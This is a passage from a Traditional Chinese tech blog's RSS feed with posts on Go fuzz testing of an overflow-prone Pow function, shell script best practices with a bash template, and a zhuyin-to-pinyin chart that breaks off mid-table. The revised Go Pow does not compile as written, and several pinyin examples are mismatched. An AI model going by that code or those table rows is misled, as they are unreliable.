&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">base&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">base&lt;/span>, &lt;span style="color:#a6e22e">exponent&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">FuzzPow&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">testing&lt;/span>.&lt;span style="color:#a6e22e">F&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Fuzz&lt;/span>(&lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">t&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">testing&lt;/span>.&lt;span style="color:#a6e22e">T&lt;/span>, &lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">New&lt;/span>(&lt;span style="color:#a6e22e">t&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>), uint(&lt;span style="color:#ae81ff">1&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#ae81ff">1&lt;/span>), &lt;span style="color:#a6e22e">x&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#ae81ff">2&lt;/span>), &lt;span style="color:#a6e22e">x&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">x&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">x&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">y&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>go test -fuzz=Fuzz -fuzztime 20s&lt;/code>&lt;/p>
&lt;ul>
&lt;li>在做 Fuzzing Test 的時候如果跑一跑 FAIL 了，Go 會幫忙把那組 input 記在 testcase/ 裡面&lt;/li>
&lt;li>看了之後會發現在 x=6、y=30 時 assert 會失敗，也就是說 pow(6, 30)/6 不會等於 pow(6, 29)。但這也太奇怪了吧？仔細實驗之後才發現是因為在計算 pow(6, 30) 的時候會發生 overflow。&lt;/li>
&lt;li>因為 Go 定義的 max.MaxUint 大約是 &lt;code>18 * 10¹⁸&lt;/code>，但 &lt;code>6²⁹&lt;/code> 大概是 &lt;code>7 * 10¹⁸&lt;/code>。如果把 &lt;code>6²⁹&lt;/code> 再乘上 6，就會發生 overflow 得到 &lt;code>8 * 10¹⁸&lt;/code>，很像繞了操場兩圈結果在跟原本差不多的位置。&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">ErrOverflow&lt;/span> = &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Errorf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;overflow&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">base&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>, &lt;span style="color:#a6e22e">exponent&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>) (&lt;span style="color:#66d9ef">uint&lt;/span>, &lt;span style="color:#66d9ef">error&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">exponent&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">prevResult&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">base&lt;/span>, &lt;span style="color:#a6e22e">exponent&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">math&lt;/span>.&lt;span style="color:#a6e22e">MaxUint&lt;/span>&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#a6e22e">base&lt;/span> &amp;lt; &lt;span style="color:#a6e22e">prevResult&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>, &lt;span style="color:#a6e22e">ErrOverflow&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">base&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#a6e22e">prevResult&lt;/span>, &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">FuzzPow&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">testing&lt;/span>.&lt;span style="color:#a6e22e">F&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Fuzz&lt;/span>(&lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">t&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">testing&lt;/span>.&lt;span style="color:#a6e22e">T&lt;/span>, &lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">New&lt;/span>(&lt;span style="color:#a6e22e">t&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">result&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#ae81ff">1&lt;/span>); &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#a6e22e">ErrOverflow&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">result&lt;/span>, &lt;span style="color:#a6e22e">x&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">result&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span>); &lt;span style="color:#a6e22e">x&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">y&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#a6e22e">ErrOverflow&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">resultDivX&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">result&lt;/span>&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">resultDivX&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Shell Script 最佳實務</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221103-shell-script-best-practices/</link><pubDate>Thu, 03 Nov 2022 16:51:11 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221103-shell-script-best-practices/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://sharats.me/posts/shell-script-best-practices/" target="_blank" rel="noopener">Shell Script 最佳實務&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="重點">重點&lt;/h4>
&lt;ol>
&lt;li>第一行就用 &lt;code>#!/usr/bin/env bash&lt;/code>。&lt;/li>
&lt;li>檔案使用 &lt;code>.sh&lt;/code>（或 &lt;code>.bash&lt;/code>）副檔名。&lt;/li>
&lt;li>在腳本開頭使用 &lt;code>set -o errexit&lt;/code>。&lt;/li>
&lt;li>也建議使用 &lt;code>set -o nounset&lt;/code>。
&lt;ol>
&lt;li>用 &lt;code>&amp;quot;${VARNAME-}&amp;quot;&lt;/code> 取代 &lt;code>&amp;quot;$VARNAME&amp;quot;&lt;/code>&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>使用 &lt;code>set -o pipefail&lt;/code>。&lt;/li>
&lt;li>使用 &lt;code>set -o xtrace&lt;/code>，並檢查 &lt;code>$TRACE&lt;/code> 環境變數。
&lt;ol>
&lt;li>&lt;code>if [[ &amp;quot;${TRACE-0}&amp;quot; == &amp;quot;1&amp;quot; ]]; then set -o xtrace; fi&lt;/code>&lt;/li>
&lt;li>使用者可以透過 &lt;code>TRACE=1 ./script.sh&lt;/code> 啟用除錯模式，而不是 &lt;code>./script.sh&lt;/code>。&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>&lt;code>if&lt;/code> / &lt;code>while&lt;/code> 條件使用 &lt;code>[[ ]]&lt;/code>，而不是 &lt;code>[ ]&lt;/code> 或 &lt;code>test&lt;/code>。&lt;/li>
&lt;li>變數存取一律用雙引號包住。&lt;/li>
&lt;li>在函式中使用 &lt;code>local&lt;/code> 變數。&lt;/li>
&lt;li>輸出錯誤訊息時請導向 stderr。
&lt;ol>
&lt;li>例如 &lt;code>echo 'Something unexpected happened' &amp;gt;&amp;amp;2&lt;/code>。&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>能用長選項就用長選項（例如 &lt;code>--silent&lt;/code> 取代 &lt;code>-s&lt;/code>）。&lt;/li>
&lt;li>適合的話，腳本開頭就切換到腳本所在目錄。
&lt;ol>
&lt;li>可用 &lt;code>cd &amp;quot;$(dirname &amp;quot;$0&amp;quot;)&amp;quot;&lt;/code>，多數情況可用。&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>使用 &lt;code>shellcheck&lt;/code> 並留意其警告。&lt;/li>
&lt;/ol>
&lt;h4 id="範本">範本&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/usr/bin/env bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>set -o errexit
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>set -o nounset
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>set -o pipefail
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#f92672">[[&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>TRACE-0&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;1&amp;#34;&lt;/span> &lt;span style="color:#f92672">]]&lt;/span>; &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> set -o xtrace
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#f92672">[[&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>1-&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#f92672">=&lt;/span>~ ^-*h&lt;span style="color:#f92672">(&lt;/span>elp&lt;span style="color:#f92672">)&lt;/span>?$ &lt;span style="color:#f92672">]]&lt;/span>; &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#39;Usage: ./script.sh arg-one arg-two
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">This is an awesome bash script to make your life better.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cd &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>dirname &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$0&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>main&lt;span style="color:#f92672">()&lt;/span> &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#66d9ef">do&lt;/span> awesome stuff
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>main &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$@&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>命令列的藝術</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221102-the-art-of-command-line/</link><pubDate>Wed, 02 Nov 2022 15:04:37 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221102-the-art-of-command-line/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/jlevy/the-art-of-command-line" target="_blank" rel="noopener">命令列的藝術&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>一張圖學會【拼音輸入法】</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221025-zhuyin-pinyin/</link><pubDate>Tue, 25 Oct 2022 11:57:51 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221025-zhuyin-pinyin/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://briian.com/zhuyin-pinyin" target="_blank" rel="noopener">一張圖學會【拼音輸入法】&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="聲母initials">聲母（Initials）&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>聲母&lt;/th>
&lt;th>拼音&lt;/th>
&lt;th>例字&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>ㄅ&lt;/td>
&lt;td>b&lt;/td>
&lt;td>爸 ba、別 bie、奔 ben&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄆ&lt;/td>
&lt;td>p&lt;/td>
&lt;td>撇 pie、平 ping、鵬 peng&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄇ&lt;/td>
&lt;td>m&lt;/td>
&lt;td>媽 ma、莫 mo、某 mou&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄈ&lt;/td>
&lt;td>f&lt;/td>
&lt;td>發 fa、飯 fan、風 feng&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄉ&lt;/td>
&lt;td>d&lt;/td>
&lt;td>的 d、但 dan、段 duan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄊ&lt;/td>
&lt;td>t&lt;/td>
&lt;td>他 ta、貼 tie、團 tuan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄋ&lt;/td>
&lt;td>n&lt;/td>
&lt;td>你 ni、農 nong、暖 nuan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄌ&lt;/td>
&lt;td>l&lt;/td>
&lt;td>李 li、亂 luan、亮 liang&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄍ&lt;/td>
&lt;td>g&lt;/td>
&lt;td>跟 gen、怪 guai、灌 guan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄎ&lt;/td>
&lt;td>k&lt;/td>
&lt;td>快 kuai、考 kao、狂 kuang&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄏ&lt;/td>
&lt;td>h&lt;/td>
&lt;td>哈 ha、漢 han、橫 heng&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄐ&lt;/td>
&lt;td>j&lt;/td>
&lt;td>叫 jiao、雞 ji、京 jing&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄑ&lt;/td>
&lt;td>q&lt;/td>
&lt;td>七 qi、琴 qin、巧 qiao&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄒ&lt;/td>
&lt;td>x&lt;/td>
&lt;td>西 xi、寫 xie、小 xiao&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄓ&lt;/td>
&lt;td>zh&lt;/td>
&lt;td>知 zhi、戰 zhan、正 zheng&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄔ&lt;/td>
&lt;td>ch&lt;/td>
&lt;td>吃 chi、船 chuan、重 chong&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄕ&lt;/td>
&lt;td>sh&lt;/td>
&lt;td>是 shi、山 shan、刷 shuan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄖ&lt;/td>
&lt;td>r&lt;/td>
&lt;td>日 ri、讓 rang、人 ren&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄗ&lt;/td>
&lt;td>z&lt;/td>
&lt;td>字 zi、讚 zan、昨 zuo&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄘ&lt;/td>
&lt;td>c&lt;/td>
&lt;td>次 ci、菜 cai、餐 can&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄙ&lt;/td>
&lt;td>s&lt;/td>
&lt;td>三 san、四 si、算 suan&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h5 id="介音--特殊聲母">介音 / 特殊聲母&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>類型&lt;/th>
&lt;th>拼音&lt;/th>
&lt;th>例字&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>y&lt;/td>
&lt;td>yi / i&lt;/td>
&lt;td>以 yi、依 yi、修 xiu&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>w&lt;/td>
&lt;td>wu / u&lt;/td>
&lt;td>無 wu、溫 wen、船 chuan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>v&lt;/td>
&lt;td>yu / ü&lt;/td>
&lt;td>律 lü、雨 yu、院 yuan&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h5 id="單韻母finals">單韻母（Finals）&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>韻母&lt;/th>
&lt;th>拼音&lt;/th>
&lt;th>例字&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>ㄚ&lt;/td>
&lt;td>a&lt;/td>
&lt;td>沙 sha、撒 sa、奧 ao&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄛ&lt;/td>
&lt;td>o&lt;/td>
&lt;td>哦 o、偶 ou、歐 ou&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄜ&lt;/td>
&lt;td>e&lt;/td>
&lt;td>餓 e、樂 le、設 she&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄝ&lt;/td>
&lt;td>ê / ye&lt;/td>
&lt;td>也 ye、學 xue、切 qie&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄞ&lt;/td>
&lt;td>ai&lt;/td>
&lt;td>愛 ai、篩 shai、崖 yai&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄟ&lt;/td>
&lt;td>ei&lt;/td>
&lt;td>雷 lei、最 zui、脆 cui&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄠ&lt;/td>
&lt;td>ao&lt;/td>
&lt;td>凹 ao、老 lao、笑 xiao&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄡ&lt;/td>
&lt;td>ou&lt;/td>
&lt;td>歐 ou、樓 lou、手 shou&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄢ&lt;/td>
&lt;td>an&lt;/td>
&lt;td>安 an、蘭 lan、算 suan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄣ&lt;/td>
&lt;td>en&lt;/td>
&lt;td>恩 en、林 lin、冷 leng&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄤ&lt;/td>
&lt;td>ang&lt;/td>
&lt;td>昂 ang、浪 lang、讓 rang&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄥ&lt;/td>
&lt;td>eng&lt;/td>
&lt;td>成 cheng、冷 leng、令 ling&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄦ&lt;/td>
&lt;td>er&lt;/td>
&lt;td>二 er、兒 er、而 er&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h5 id="複韻母--組合韻">複韻母 / 組合韻&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>拼音&lt;/th>
&lt;th>例字&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>ye&lt;/td>
&lt;td>也 ye、結 jie、血 xie&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>iu&lt;/td>
&lt;td>六 liu、有 you、謬 miu&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>in&lt;/td>
&lt;td>音 yin、新 xin、林 lin&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ing&lt;/td>
&lt;td>英 ying、靈 ling、醒 xing&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>uan&lt;/td>
&lt;td>元 yuan、卷 juan、團 tuan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ue&lt;/td>
&lt;td>略 lue、學 xue&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>yun&lt;/td>
&lt;td>雲 yun、巡 xun、群 qun&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ong&lt;/td>
&lt;td>用 yong、兇 xiong、同 tong&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ui&lt;/td>
&lt;td>鬼 gui、為 wei、虧 kui&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>un&lt;/td>
&lt;td>文 wen、混 hun、準 zhun&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ua&lt;/td>
&lt;td>華 hua、抓 zhua、蛙 wa&lt;/td>
